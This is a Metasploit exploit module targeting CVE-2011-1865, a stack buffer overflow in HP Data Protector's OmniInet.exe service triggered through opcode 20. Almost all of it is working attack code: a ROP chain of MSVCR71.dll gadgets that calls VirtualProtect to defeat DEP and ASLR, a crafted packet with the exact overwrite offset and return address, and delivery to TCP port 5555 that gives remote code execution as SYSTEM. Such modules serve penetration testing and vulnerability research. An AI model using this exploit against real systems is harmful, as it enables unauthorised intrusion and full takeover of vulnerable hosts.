##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "HP OmniInet.exe Opcode 20 Buffer Overflow",
        'Description' => %q{
          This module exploits a vulnerability found in HP Data Protector's OmniInet
          process.  By supplying a long string of data as the file path with opcode '20',
          a buffer overflow can occur when this data is being written on the stack where
          no proper bounds checking is done beforehand, which results arbitrary code
          execution under the context of SYSTEM.  This module is also made against systems
          such as Windows Server 2003 or Windows Server 2008 that have DEP and/or ASLR
          enabled by default.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Oren Isacson', # Initial discovery, poc
          'muts',          # Initial poc of the ROP exploit w/ dookie (WPM())
          'dookie',        # Initial poc of the ROP exploit w/ muts (WPM())
          'sinn3r',        # MSF module with corelanc0d3r  (Also Thx to MC and HD)
          'corelanc0d3r <peter.ve[at]corelan.be>', # MSF module with sinn3r, VP() ROP Chain
        ],
        'References' => [
          [ 'CVE', '2011-1865' ],
          [ 'OSVDB', '73571'],
          [ 'EDB', '17468' ],
          [ 'URL', 'http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities' ],
          [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02872182' ],
        ],
        'Payload' => {
          'BadChars' => "\x00",
          'PrependEncoder' => "\x66\x81\xc4\xb8\x0b\x61\x9d", # add sp, 0xb88; popad; popfd
        },
        'DefaultOptions' => {
          'EXITFUNC' => "process",
        },
        'Platform' => 'win',
        'Targets' => [
          # If 'Max' gets too long (ie. 10000 bytes), we can get a busted heap
          [
            'HP Data Protector A.06.10 b611 / A.06.11 b243 XP SP3/Win2003/Win2008',
            {
              'Offset' => 1993, # For overwriting a RETN (6481 for SEH)
              'Ret' => 0x7C342629, # RETN - MSVCR71.dll
              'Max' => 5000,
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-06-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(5555)])
  end

  def nop
    return make_nops(4).unpack("L")[0].to_i
  end

  def exploit
    connect

    # mona.py tekniq
    # https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
    rop = [
      # Initial setup - ROP Flight Landing Strip
      0x7C342629,  # SLIDE
      0x7C342629,  # SLIDE
      0x7C342629,  # SLIDE
      0x7C342629,  # SLIDE
      # ROP begins here
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0x7c37a140,  # Make EAX readable
      0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
      nop,         # EBP
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0x7c37a140,  # <- VirtualProtect() found in IAT
      0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
      0x7c346c0b,  # Slide, so next gadget would write to correct stack location
      0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
      nop,         # EDI (filler)
      nop,         # will be patched at runtime (VP), then picked up into ESI
      nop,         # EBX (filler)
      0x7c376402,  # POP EBP # RETN (msvcr71.dll)
      0x7c345c30,  # ptr to push esp #  ret  (from MSVCR71.dll)
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0xfffff82f,  # size 20001 bytes
      0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
      0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
      0xffffffff,  # pop value into ebx
      0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
      0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
      0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
      0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
      0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
      0x7c34b8d8,  # ROP NOP (-> edi)
      0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
      0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
      0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0x90909090,  # NOPS (-> eax)
      0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
    ].pack('V*')

    # Overflowing path "C:\Program Files\OmniBack\bin\"
    # 4807 bytes after target.ret, but we need to use less than that to avoid a busted heap
    sploit = ''
    sploit << rand_text_alpha(target['Offset'] - sploit.length)
    sploit << [target.ret].pack('V*')
    sploit << rop
    sploit << payload.encoded
    sploit << rand_text_alpha(target['Max'] - sploit.length)

    pkt = ''
    pkt << Rex::Text.to_unicode("\x00")
    pkt << "\x41\x41" # Length field place holder
    pkt << "\xff\xfe"
    pkt << Rex::Text.to_unicode("\x32\x00")
    pkt << (Rex::Text.to_unicode("\x20\x61\x00") * 5)
    pkt << Rex::Text.to_unicode("\x20")
    pkt << Rex::Text.to_unicode("20") # Opcode
    pkt << "\x00"
    pkt << (Rex::Text.to_unicode("\x20\x61\x00") * 7)
    pkt << Rex::Text.to_unicode("\x20\x00")
    pkt << sploit
    pkt << Rex::Text.to_unicode("\x00")
    pkt << (Rex::Text.to_unicode("\x20\x61\x00") * 16)

    # pkt length
    pkt[2, 2] = [pkt.length - 5].pack('n')

    print_status("Sending packet to #{datastore['RHOST']}...")
    sock.put(pkt)

    # Data Protector lags before triggering the vuln code
    # Long delay seems necessary to ensure we get a shell back
    select(nil, nil, nil, 20)

    handler
    disconnect
  end
end
